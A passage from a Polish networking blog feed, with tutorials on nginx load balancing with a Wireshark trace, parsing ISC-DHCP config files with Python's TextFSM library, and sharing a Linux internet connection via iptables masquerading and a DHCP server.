					<div class="elementor-text-editor elementor-clearfix"><p><span style="color: #000000;">Zrestartujmy nginx i odpalmy jeszcze raz skrypt:</span></p><pre><span style="color: #000000;">root@CLIENT:~# python skrypt.py</span><br /><br /><span style="color: #000000;">WEB01: 100</span><br /><span style="color: #000000;">WEB02: 0</span><br /><span style="color: #000000;">WEB03: 0</span></pre></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="93168b1" class="elementor-element elementor-element-93168b1 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="9bf6227" class="elementor-element elementor-element-9bf6227 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="fe4bba0" class="elementor-element elementor-element-fe4bba0 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Jak widać, teraz wszystkie żądania z klienta zostały przesłane do jednego serwera. </span></p><p style="text-align: justify;"><span style="color: #000000;">Teraz możemy zasymulować awarie jednego z serwerów (np. WEB01) w tym celu wyłączamy apache na serwerze 192.168.0.101 i otwieramy stronę 192.168.0.100 kilkukrotnie. Jak widać teraz w odpowiedzi dostajemy tylko strony z serwerów WEB02 i WEB03.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="16c18de" class="elementor-element elementor-element-16c18de elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="236920e" class="elementor-element elementor-element-236920e elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="ceeab6b" class="elementor-element elementor-element-ceeab6b elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-5" data-rl_title="" data-rl_caption="" title="">
							<img width="617" height="101" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022.png 617w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web022-300x49.png 300w" sizes="(max-width: 617px) 100vw, 617px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1c5f67d" class="elementor-element elementor-element-1c5f67d elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="ab0dc86" class="elementor-element elementor-element-ab0dc86 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="2dd4513" class="elementor-element elementor-element-2dd4513 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web033.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-7" data-rl_title="" data-rl_caption="" title="">
							<img width="626" height="107" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web033.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web033.png 626w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/web033-300x51.png 300w" sizes="(max-width: 626px) 100vw, 626px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="b73f889" class="elementor-element elementor-element-b73f889 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="11fd4f0" class="elementor-element elementor-element-11fd4f0 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="c2bcf13" class="elementor-element elementor-element-c2bcf13 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Sprawdźmy teraz jak wygląda komunikacja pomiędzy LoadBalancerem a serwerami. Uruchomimy do tego celu wiresharka na interefejsie prowadzącym do LoadBalancera.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="9bba700" class="elementor-element elementor-element-9bba700 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="c7e2018" class="elementor-element elementor-element-c7e2018 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="7e49a3a" class="elementor-element elementor-element-7e49a3a elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1.png" data-elementor-open-lightbox="yes" data-rel="lightbox-image-8" data-rl_title="" data-rl_caption="" title="">
							<img width="463" height="466" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1.png 463w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1-150x150.png 150w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1-298x300.png 298w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/topology1-160x160.png 160w" sizes="(max-width: 463px) 100vw, 463px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="9da4290" class="elementor-element elementor-element-9da4290 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="6d362d7" class="elementor-element elementor-element-6d362d7 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="18c8dc2" class="elementor-element elementor-element-18c8dc2 elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-9" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="160" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1-1024x228.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1-1024x228.png 1024w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1-300x67.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1-768x171.png 768w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark1.png 1305w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="10e1611" class="elementor-element elementor-element-10e1611 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="bd4f26d" class="elementor-element elementor-element-bd4f26d elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="819be59" class="elementor-element elementor-element-819be59 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><p style="text-align: justify;"><span style="color: #000000;">Na powyższym zrzucie ekranu z wiresharka możemy zaobserwować następujące rzeczy:</span></p><p style="text-align: justify;"><span style="color: #000000;">1. Linijka 15 </span></p><p style="text-align: justify;"><span style="color: #000000;">Klient (192.168.0.230) wydaje zapytanie GET / HTTP/1.1 do serwera 192.168.0.100</span></p><p style="text-align: justify;"><span style="color: #000000;">2. Linijka 17 i 18</span></p><p style="text-align: justify;"><span style="color: #000000;">LoadBalancer (192.168.0.100) próbuje się połączyć do pierwszego serwera (192.168.0.101) na porcie 80, w odpowiedzi otrzymuje RST, czyli nie zostało nawiązane połączenie.</span></p><p style="text-align: justify;"><span style="color: #000000;">3. Linijka 19-27</span></p><p style="text-align: justify;"><span style="color: #000000;">LoadBalancer próbuje połączyć się do następnego serwera z listy WEB02 (192.168.0.102) połączenie zakończyło się sukcesem i poszło żądanie GET / HTTP/1.1 (linijka 22) a następnie odpowiedź 200 OK (text/html) od serwera 192.168.0.102 do LoadBalancera 192.168.0.100 (linijka 24)</span></p><p style="text-align: justify;"><span style="color: #000000;">4. Linijka 28</span></p><p style="text-align: justify;"><span style="color: #000000;">LoadBalancer zwraca stronę otrzymaną w poprzednich linijkach od serwera 192.168.0.102 do klienta. Z punktu widzenia klienta serwerem który zwraca tą stronę jest LoadBalancer, dlatego w przykładzie posłużyłem się inną treścią strony na każdym serwerze, dzięki czemu po otrzymanej zawartości strony widać było z którego serwera jest ona pobierana. Poniżej screen z linijki 28 z wireshark:</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="1e638b7" class="elementor-element elementor-element-1e638b7 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="259a047" class="elementor-element elementor-element-259a047 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="4ecda6a" class="elementor-element elementor-element-4ecda6a elementor-widget elementor-widget-image" data-element_type="image.default">
				<div class="elementor-widget-container">
					<div class="elementor-image">
											<a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2.png" data-elementor-open-lightbox="no" data-rel="lightbox-image-10" data-rl_title="" data-rl_caption="" title="">
							<img width="720" height="574" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2-1024x817.png" class="attachment-large size-large" alt="" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2-1024x817.png 1024w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2-300x239.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2-768x613.png 768w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/12/wireshark2.png 1092w" sizes="(max-width: 720px) 100vw, 720px" />								</a>
											</div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
				<section data-id="6410997" class="elementor-element elementor-element-6410997 elementor-section-boxed elementor-section-height-default elementor-section-height-default elementor-section elementor-top-section" data-element_type="section">
						<div class="elementor-container elementor-column-gap-default">
				<div class="elementor-row">
				<div data-id="d556ea4" class="elementor-element elementor-element-d556ea4 elementor-column elementor-col-100 elementor-top-column" data-element_type="column">
			<div class="elementor-column-wrap elementor-element-populated">
					<div class="elementor-widget-wrap">
				<div data-id="261ef44" class="elementor-element elementor-element-261ef44 elementor-widget elementor-widget-text-editor" data-element_type="text-editor.default">
				<div class="elementor-widget-container">
					<div class="elementor-text-editor elementor-clearfix"><h5> </h5><h5><span style="color: #000000;">Podsumowanie</span></h5><p style="text-align: justify;"><span style="color: #000000;">Podsumowując nginx jest narzędziem, które nie tylko umożliwia działanie jako serwer www, ale również w prosty sposób możemy zrobić z niego loadbalancer dla stron www. Jest to bardzo przydatne i wygodne narzędzie, a co najważniejsze jest darmowe.</span></p></div>
				</div>
				</div>
						</div>
			</div>
		</div>
						</div>
			</div>
		</section>
						</div>
			</div>
		</div>
		]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/load-balancing-z-nginx/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>DHCP Linux + TextFSM</title>
		<link>https://kubsoo.github.io/rsnet-website/dhcp-linux-textfsm/</link>
		<comments>https://kubsoo.github.io/rsnet-website/dhcp-linux-textfsm/#respond</comments>
		<pubDate>Thu, 05 Oct 2017 20:39:17 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[dhcp]]></category>
		<category><![CDATA[linux]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[textfsm]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=354</guid>
		<description><![CDATA[We wpisie Cisco CLI + TextFSM pokazałem jak można wykorzystać bibliotekę textfsm do obrabiania wyników komend na urządzeniach z Cisco IOS. W tym wpisie pokażę jak uniwersalna jest ta biblioteka&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[<p style="text-align: justify;">We wpisie <a href="https://kubsoo.github.io/rsnet-website/cisco-cli-textfsm/" title="">Cisco CLI + TextFSM</a> pokazałem jak można wykorzystać bibliotekę textfsm do obrabiania wyników komend na urządzeniach z Cisco IOS. W tym wpisie pokażę jak uniwersalna jest ta biblioteka na przykładzie serwera DHCP postawionego na systemie Linux i wyciągania danych z pliku konfiguracyjnego.</p>
<p style="text-align: justify;">Plik konfiguracyjny serwera <a href="https://www.isc.org/downloads/dhcp/" title="">ISC-DHCP</a> znajduje się domyślnie w /etc/dhcpd.conf i ma postać:</p>
<pre>ddns-update-style none;
log-facility local7;

subnet 10.99.10.0 netmask 255.255.255.0 {
        option routers                  10.99.10.1;
        option subnet-mask              255.255.255.0;
        option broadcast-address        10.99.10.255;
        option domain-name-servers      10.99.10.100;
        option ntp-servers              10.99.10.1;
        option netbios-name-servers     10.99.10.1;
        option netbios-node-type 2;
        default-lease-time 86400;
        max-lease-time 86400;

        host KOMPUTER_01 {hardware ethernet 28:d2:44:fa:2c:49;  fixed-address 10.99.10.11;}   #Komputer 01
        host KOMPUTER_02 {hardware ethernet 00:CC:D1:38:AC:45;  fixed-address 10.99.10.12;} #Komputer 02
        host KOMPUTER_03 {hardware ethernet 01:AC:D2:33:AA:41;  fixed-address 10.99.10.13;} #Komputer 03
        host KOMPUTER_04 {hardware ethernet 44:1E:A1:2F:62:A0;  fixed-address 10.99.10.14;} #Komputer 04
        host KOMPUTER_05 {hardware ethernet EC:F4:BB:47:0B:0D;  fixed-address 10.99.10.15;} #Komputer 05
        host KOMPUTER_06 {hardware ethernet f0:de:f1:61:c3:91;  fixed-address 10.99.10.16;} #Komputer 06
        host KOMPUTER_02 {hardware ethernet 50:7B:9D:04:CD:0D;  fixed-address 10.99.10.17;} #Komputer 07
        host KOMPUTER_02 {hardware ethernet C8:5B:76:5B:22:05;  fixed-address 10.99.10.18;} #Komputer 08
        #host KOMPUTER_02 {hardware ethernet 00:CC:D1:38:AC:45;  fixed-address 10.99.10.19;} #Komputer 09
}

subnet  10.152.187.0 netmask 255.255.255.0 {
        option routers                  10.152.187.1;
        option subnet-mask              255.255.255.0;
        option broadcast-address        10.152.187.255;
        option domain-name-servers      194.168.4.100;
        option ntp-servers              10.152.187.1;
        option netbios-name-servers     10.152.187.1;
        option netbios-node-type 2;
        default-lease-time 86400;
        max-lease-time 86400;

        host KOMPUTER_11 {hardware ethernet 00:22:AA:66:55:9B;    fixed-address 10.152.187.2;}     #Komputer 11
}</pre>
<p>Załóżmy że z tego pliku chcemy wyciągnąć takie informacje jak:</p>
<p>nazwa hosta, adres MAC, adres IP oraz komentarz.</p>
<p style="text-align: justify;">Możemy do tego celu użyć dostępnych w linuxie narzędzi do pracy z tekstem (grep, awk, cut), natomiast dużo łatwiej i szybciej możemy napisać skrypt w Pythonie wykorzystujący bibliotekę textFSM.</p>
<p>Skrypt realizujący to zdanie dhcp.py wygląda następująco:</p>
<pre>#!/usr/bin/python
import textfsm

file = open("/etc/dhcpd.conf","r")    
text = file.read()
file.close()
re_table = textfsm.TextFSM(open("dhcp.textfsm"))
fsm_results = re_table.ParseText(text)

for i in fsm_results:
   i[1] = i[1].lower()
   print i[0]+','+i[1]+','+i[2]+','+i[3]</pre>
<p style="text-align: justify;">Plik dhcp.textfsm zawierający szablon z wyrażeniami regularnymi ma postać:</p>
<pre>Value hostname (\S+)
Value mac ([^ ;]+)
Value ip ([^ ;]+)
Value description (.+)

Start
  ^\s*host\s+${hostname}\s+{hardware\s+ethernet\s+${mac}\S+\s+fixed-address\s+${ip}+\S+\s+#${description} -&gt; Record</pre>
<p>Wynik działania powyższego skryptu to:</p>
<pre>root@vm01:~# ./dhcp.py

KOMPUTER_01,28:d2:44:fa:2c:49,10.99.10.11,Komputer 01

KOMPUTER_02,00:cc:d1:38:ac:45,10.99.10.12,Komputer 02

KOMPUTER_03,01:ac:d2:33:aa:41,10.99.10.13,Komputer 03

KOMPUTER_04,44:1e:a1:2f:62:a0,10.99.10.14,Komputer 04

KOMPUTER_05,ec:f4:bb:47:0b:0d,10.99.10.15,Komputer 05

KOMPUTER_06,f0:de:f1:61:c3:91,10.99.10.16,Komputer 06

KOMPUTER_02,50:7b:9d:04:cd:0d,10.99.10.17,Komputer 07

KOMPUTER_02,c8:5b:76:5b:22:05,10.99.10.18,Komputer 08

KOMPUTER_11,00:22:aa:66:55:9b,10.152.187.2,Komputer 11</pre>
<p style="text-align: justify;">Otrzymaliśmy więc to co chcieliśmy, czyli nazwę hosta, adres MAC, adres IP, oraz komentarz. W celach kosmetycznych skrypt wypisuje wyniki na ekranie oddzielone przecinkami, czyli możemy sobie takie wyniki zaimportować np. do Excela.</p>
<h4></h4>
<p>&nbsp;</p>
<h4>OMÓWIENIE SKRYPTU dhcp.py</h4>
<p>Przejdźmy teraz do omówienia skryptu linijka po linijce.</p>
<p><strong><em>#!/usr/bin/python </em></strong>&#8212;&gt; powoduje uruchomienie pliku jako program w Pythonie</p>
<p><em><strong>import textfsm</strong> </em>&#8212;&gt;<em> </em>import biblioteki textfsm</p>
<p style="text-align: justify;"><em><strong>file=open(&#8222;/etc/dhcpd.conf&#8221;,&#8221;r&#8221;) </strong></em>&#8212;&gt; do otwarcia pliku wykorzystamy wbudowaną funkcję open, plik otwieramy do odczytu “r”</p>
<p style="text-align: justify;"><em><strong>text=file.read() </strong></em>&#8212;&gt; funkcja read() odczytuje zawartość pliku i przypisuje całą zawartość do zmiennej text</p>
<p><em><strong>file.close()</strong></em> &#8212;&gt; funkcja zamykająca plik</p>
<p style="text-align: justify;"><em><strong>re_table=textfsm.TextFSM(open(&#8222;dhcp.textfsm&#8221;)) </strong></em>&#8212;&gt;<em><strong> </strong></em>otwarcie pliku szablonu dhcp.textfsm przez textfsm</p>
<p style="text-align: justify;"><em><strong>fsm_results=re_table.ParseText(text) </strong></em>&#8212;&gt; wykonanie parsowania tekstu ze zmiennej text i przypisanie wyniku do listy fsm_results</p>
<p style="text-align: justify;"><em><strong>for i in fsm_results: </strong></em>&#8211;&gt; petla for, która przetwarza każdy element z listy fsm_results, przetwarzany element jest również listą</p>
<p style="text-align: justify; padding-left: 30px;"><em><strong>i[1] = i[1].lower() </strong></em>&#8212;&gt; dla elementu na drugiej pozycji przetwarzanej listy (w tym przypadku jest to adres MAC, który może być zarówno małymi jak i dużymi literami pisany) wykonaj funkcję lower(), czyli zamień duże na małe litery</p>
<p style="text-align: justify; padding-left: 30px;"><em><strong>print i[0]+’,&#8217;+i[1]+’,&#8217;+i[2]+’,&#8217;+i[3] </strong></em>&#8212;&gt; wypisanie na ekranie 4 elementów listy (hostname, adres mac, adres IP, komentarz) przedzielonych przecinkami</p>
<p>&nbsp;</p>
<h4>OMÓWIENIE SZABLONU dhcp.textfsm</h4>
<p style="text-align: justify;">W przypadku braku znajomości wyrażeń regularnych tworzenie szablonu dhcp.textfsm najlepiej wykonywać z wykorzystaniem strony <a href="http://regex101.com/" title="">regex101.com</a>. Poniżej screen z tej strony z wyrażeniem regularnych użytym w skrypcie dhcp.py:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/regex1-1.png" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-387 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/regex1-1.png" alt="" width="983" height="494" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/regex1-1.png 983w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/regex1-1-300x151.png 300w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2017/10/regex1-1-768x386.png 768w" sizes="(max-width: 983px) 100vw, 983px" /></a></p>
<p style="text-align: justify;">Z powyższego screena widać, że wszystkie interesujące nas informacje zostały dopasowane prawidłowo</p>
<ul>
<li>Group1 &#8211; kolor zielony &#8211; hostname</li>
<li>Group2 &#8211; kolor czerwony &#8211; adres MAC</li>
<li>Group3 &#8211; kolor pomarańczowy  &#8211; adres IP</li>
<li>Group4 &#8211; kolor fioletowy &#8211; komentarz</li>
</ul>
<p>Jeśli weźmiemy plik dhcp.textfsm:</p>
<pre>Value hostname (\S+) 
Value mac ([^ ;]+) 
Value ip ([^ ;]+) 
Value description (.+) 

Start
   ^\s*host\s+${hostname}\s+{hardware\s+ethernet\s+${mac}\S+\s+fixed-address\s+${ip}+\S+\s+#${description} -&gt; Record</pre>
<p style="text-align: justify;">i podstawimy do wyrażenia regularnego występującego po słowie Start wyrażenia regularne dla odpowiednich wartości, to otrzymamy dokładnie to wyrażenie które zostało użyte w polu REGULAR EXPRESSION na stronie regex101.com:</p>
<pre>^\s*host\s+(\S+)\s+{hardware\s+ethernet\s+([^ ;]+)\S+\s+fixed-address\s+([^ ;]+)+\S+\s+#(.+) -&gt; Record</pre>
<p style="text-align: justify;">W powyższym wyrażeniu regularnym korzystamy właściwie tylko z kombinacji znaków które występują w każdej linijce (typu: hardware, ethernet, host, fixed-address) oraz z następujących wzorców:</p>
<p>\s+    spacja występująca raz lub więcej razy</p>
<p>\S+   dowolny znak bez spacji występujących raz lub więcej razy</p>
<p>.+      dowolny znak występujący raz lub więcej razy</p>
<p style="text-align: justify;">[^ ;]+    dowolna kombinacja znaków nie zawierająca spacji oraz średnika występując raz lub więcej razy</p>
<p style="text-align: justify;">W pliku dhcp.textfsm po wyrażeniu regularnym w sekcji Start występuje coś takiego: &#8222;-&gt; Record&#8221;. Oznacza to tyle, że po znalezieniu dopasowania wyniki są zapisywane do tablicy i następuje analiza kolejnej linii. Dzięki temu możemy otrzymać wiele wyników, a nie tak jak we wpisie o <a href="https://kubsoo.github.io/rsnet-website/cisco-cli-textfsm/">Cisco CLI i textFSM</a> tylko jeden.</p>
<p style="text-align: justify;">Strona regex101.com jest bardzo pomocna w debugowaniu przyczyn błędnego wyciągania informacji przez textfsm. Jeśli nasze wyrażenie regularne po wklejeniu go na stronę oraz tekstu, na którym będzie wykonywanie to wyrażenie nie będzie dopasowywało tak jak tego oczekujemy, to tym bardziej nasz skrypt również tego nie dopasuje.</p>
]]></content:encoded>
			<wfw:commentRss>https://kubsoo.github.io/rsnet-website/dhcp-linux-textfsm/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Udostępnianie połączenia internetowego w systemie Linux</title>
		<link>https://kubsoo.github.io/rsnet-website/udostepnianie-polaczenia-internetowego-w-systemie-linux/</link>
		<comments>https://kubsoo.github.io/rsnet-website/udostepnianie-polaczenia-internetowego-w-systemie-linux/#respond</comments>
		<pubDate>Fri, 24 Mar 2017 18:32:28 +0000</pubDate>
		<dc:creator><![CDATA[admin]]></dc:creator>
				<category><![CDATA[Poradnik]]></category>
		<category><![CDATA[linux]]></category>

		<guid isPermaLink="false">https://kubsoo.github.io/rsnet-website/?p=89</guid>
		<description><![CDATA[W celu udostępnienia połączenia internetowego na komputerze z systemem operacyjnym Debian konieczne jest posiadanie dwóch interfejsów sieciowych (kablowych lub radiowych, albo jednego i drugiego). Jeden interfejs będzie służył do połączenia&#46;&#46;&#46;]]></description>
				<content:encoded><![CDATA[<p>W celu udostępnienia połączenia internetowego na komputerze z systemem operacyjnym Debian konieczne jest posiadanie dwóch interfejsów sieciowych (kablowych lub radiowych, albo jednego i drugiego). Jeden interfejs będzie służył do połączenia z internetem a drugi do udostępniania internetu na drugi komputer (lub inne urządzenie).  Udostępnienie internetu może odbywać się na kilka sposób, ja opiszę według mnie najprostszy z nich, a mianowicie  stworzenie domowej sieci komputerowej składającej się z komputera z Debianem (podłączonego bezpośrednio do internetu), który będzie pełnił rolę routera (nazwijmy go R1), oraz drugiego komputera podłączonego do niego przez inny jego interfejs sieciowy (nazwijmy go PC1). Schemat połączeń wygląda następująco:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int1.png" data-rel="lightbox-image-0" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-91 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int1.png" alt="" width="417" height="325" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int1.png 417w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int1-300x234.png 300w" sizes="(max-width: 417px) 100vw, 417px" /></a></p>
<p><span id="more-89"></span>R1, czyli komputer z debianem posiada dwa interfejsy sieciowe wlan0 i eth0. Interfejs wlan0 jest podłączony do internetu, natomiast intefejs eth0 podłączony jest do hosta PC1.</p>
<p>Adresacja IP routera R1:</p>
<pre>eth0 - 192.168.5.1 255.255.255.0

wlan0 - 192.168.1.1 255.255.255.0</pre>
<p>Do skonfigurowania interfejsu eth0 należy wyedytować plik: <em>/etc/network/interfaces</em> i dopisać poniższą konfigurację dla interfejsu eth0:</p>
<pre>auto eth0

iface eth0 inet static

address 192.168.5.1

netmask 255.255.255.0</pre>
<p>Nie będę opisywał konfiguracji intefejsu wlan0, bo dla każdego połączenia internetowego będzie ono inne. Do udostępnienia internetu do interfejsu eth0 musi być skonfigurowany poprawnie dodatkowy interfejs z dostępem do internetu, nie koniecznie musi być to interfejs bezprzewodowy.</p>
<p>R1 będzie miał za zadanie <a href="http://pl.wikipedia.org/wiki/Network_Address_Translation" title="">NAT</a>-ować połączenie, czyli udostępniać internet do PC1. Aby to osiągnąć konieczne jest uruchomienie na R1 routingu, czyli włączenie przekazywania pakietów IP między interfejsami sieciowymi. Służy do tego następujące polecenie:</p>
<pre>root@debian-lab:~# echo "1" &gt; /proc/sys/net/ipv4/ip_forward</pre>
<p>Kolejnym krokiem jest konfiguracja iptables. Najprościej będzie skonfigurować tzw. <a href="http://skretka.net/nat-maskarada-ipchains.html" title="">Maskaradę IP</a>.  Działa to w ten sposób, że R1, który służy jako brama sieciowa zbiera żądania od komputerów z sieci lokalnej (w moim przypadku PC1) i wysyła w świat ze swoim adresem IP. Konfigurujemy to w następujący sposób:</p>
<p>root@debian-lab:~# iptables -t nat -A POSTROUTING -s 192.168.5.0/24 -j MASQUERADE</p>
<p>Teraz zostaje tylko uruchomienie serwera DHCP, żeby PC1 otrzymał automatycznie adres IP od R1. Zainstalować serwer DHCP na debianie można wydając polecenie:</p>
<pre>root@debian-lab:~# apt-get install isc-dhcp-server</pre>
<p>Po instalacji musimy określić na jakim interfejsie ma działać serwer DHCP, w moim przypadku będzie to eth0. W tym celu należy wyedytować plik: <em>/etc/default/isc-dhcp-server </em>w następujący sposób:</p>
<p><a href="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int2.png" data-rel="lightbox-image-1" data-rl_title="" data-rl_caption="" title=""><img class="aligncenter wp-image-92 size-full" src="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int2.png" alt="" width="629" height="193" srcset="https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int2.png 629w, https://kubsoo.github.io/rsnet-website/wp-content/uploads/2014/05/share_int2-300x92.png 300w" sizes="(max-width: 629px) 100vw, 629px" /></a></p>
<p>Następnie konieczna jest edycja pliku konfiguracyjnego serwera dhcp: <em>/etc/dhcp/dhcpd.conf</em>. Najlepiej jest usunąć całą zawartość pliku <em>dhcpd.conf</em> i uzupełnienić go następującą zawartością:</p>
<pre>subnet 192.168.5.0 netmask 255.255.255.0 {

range 192.168.5.100 192.168.5.200;

option domain-name-servers 8.8.8.8;

option routers 192.168.5.1;

option broadcast-address 192.168.5.255;

default-lease-time 86400;

max-lease-time 86400;

}</pre>
<p>Po zapisaniu pliku konieczny jest restart serwera dhcp:</p>
<pre>root@debian-lab:~# /etc/init.d/isc-dhcp-server restart</pre>
